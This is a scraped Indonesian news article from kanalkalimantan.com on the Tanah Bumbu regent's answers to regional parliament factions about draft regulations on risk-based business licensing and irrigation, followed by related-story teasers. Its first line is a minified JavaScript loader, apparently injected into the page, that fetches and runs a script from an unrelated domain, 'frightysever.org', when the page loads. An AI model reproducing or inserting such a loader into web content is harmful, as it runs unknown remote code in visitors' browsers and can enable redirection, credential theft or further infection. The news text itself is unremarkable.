(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu HM Zairullah Azhar memberikan jawaban atas Pemandangan Umum Fraksi DPRD Tanbu terhadap dua buah Raperda pada Selasa (8/3/2022). Jawaban Bupati disampaikan Asisten Pemerintahan dan Kesejahteraan Rakyat Ir Mariani.
Dua Buah Raperda yang menjadi fokus pembahasan yakni Penyelenggaraan Perizinan Berusaha dan Raperda Penyelenggaraan Irigasi.
Di antara jawaban Bupati ini menyangkut pertanyaan dari Fraksi Partai Amanat Nasional Demokrat, yang menanyakan tentang kesudahan kedua raperda tersebut untuk dilakukan kajian lebih mendalam dengan dituangkan ke dalam naskah akademik dalam rangka persiapan Perda yang lebih matang.
Menanggapi pertanyaan tersebut, eksekutif menyampaikan kajian naskah akademik telah disusun oleh tim penyusun naskah akademik, lembaga konsultasi dan bantuan hukum dari tenaga ahli dari Universitas Lambung Mangkurat.
Selain itu terkait pertanyaan dari Fraksi Partai Demokrasi Indonesia Perjuangan, yang menanyakan apakah telah ada Perda sebelumnya yang terkait dengan Raperda tersebut, mengingat pada Pasal 2 Perizinan Berusaha apakah item yang tertera belum pernah diatur dalam Perda Perizinan sebelumnya.
Baca juga :Â Hadirkan Penulis-Penulis Tenar Agar Anak Muda Melek Literasi
Bupati menjawab bahwa terdapat perubahan paradigma dalam sistem perizinan berusaha di Indonesia, dari semula berbasis izin menjadi berbasis risiko.
Paradigma baru ini menempatkan risiko sebagai pertimbangan utama atas setiap kegiatan berusaha sehingga berimplikasi terhadap perubahan desain kebijakan, kelembagaan dan kelompok pelayanan berusaha saat ini baik dari Pemerintah Pusat maupun Pemerintah Daerah.
“Reformasi struktural ini bertujuan untuk memberikan kemudahan dan kepastian berusaha yang terarah dalam peningkatan daya saing daerah. Berdasarkan hal tersebut maka Perda No. 5 Tahun 2015 tentang perizinan yang sudah ada di Kab. Tanah Bumbu menjadi tidak sesuai dan perlu dilakukan penyesuaian dan pengaturan untuk menjamin kepastian hukum dan menjadi landasan perizinan berusaha,” jelas Mariani.
Dalam kesempatan tersebut selain memberikan jawaban-jawaban terkait pertanyaan fraksi-fraksi DPRD Kab. Tanbu, pihak eksekutif juga menyambut baik dan menyampaikan ucapan terima kasih atas segala pertanyaan, saran, dan masukan yang telah disampaikan.
Baca juga : Majlis Lailatul Jum’at Hadirkan Guru Yanor Kalua, Ini Amalan yang Diperbanyak saat Bulan Sya’ban
“Termasuk baik hal-hal yang bersifat normatif maupun hal-hal yang bersifat teknis operasional bagi kami hal itu sangat kami hargai dan akan kami jadikan bahan perbaikan bersama antara Pemerintah Daerah dan DPRD,” ujarnya.
Bupati berharap kedua raperda tersebut dapat dibahas pada tahap-tahap berikutnya dan dapat segera disetujui bersama menjadi Peraturan Daerah.
Rapat yang dipimpin oleh Wakil Ketua DPRD Agoes Rakhmady ini dihadiri oleh unsur Forkopimda, pejabat SKPD, perusda, perbankan, dan instansi terkait. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.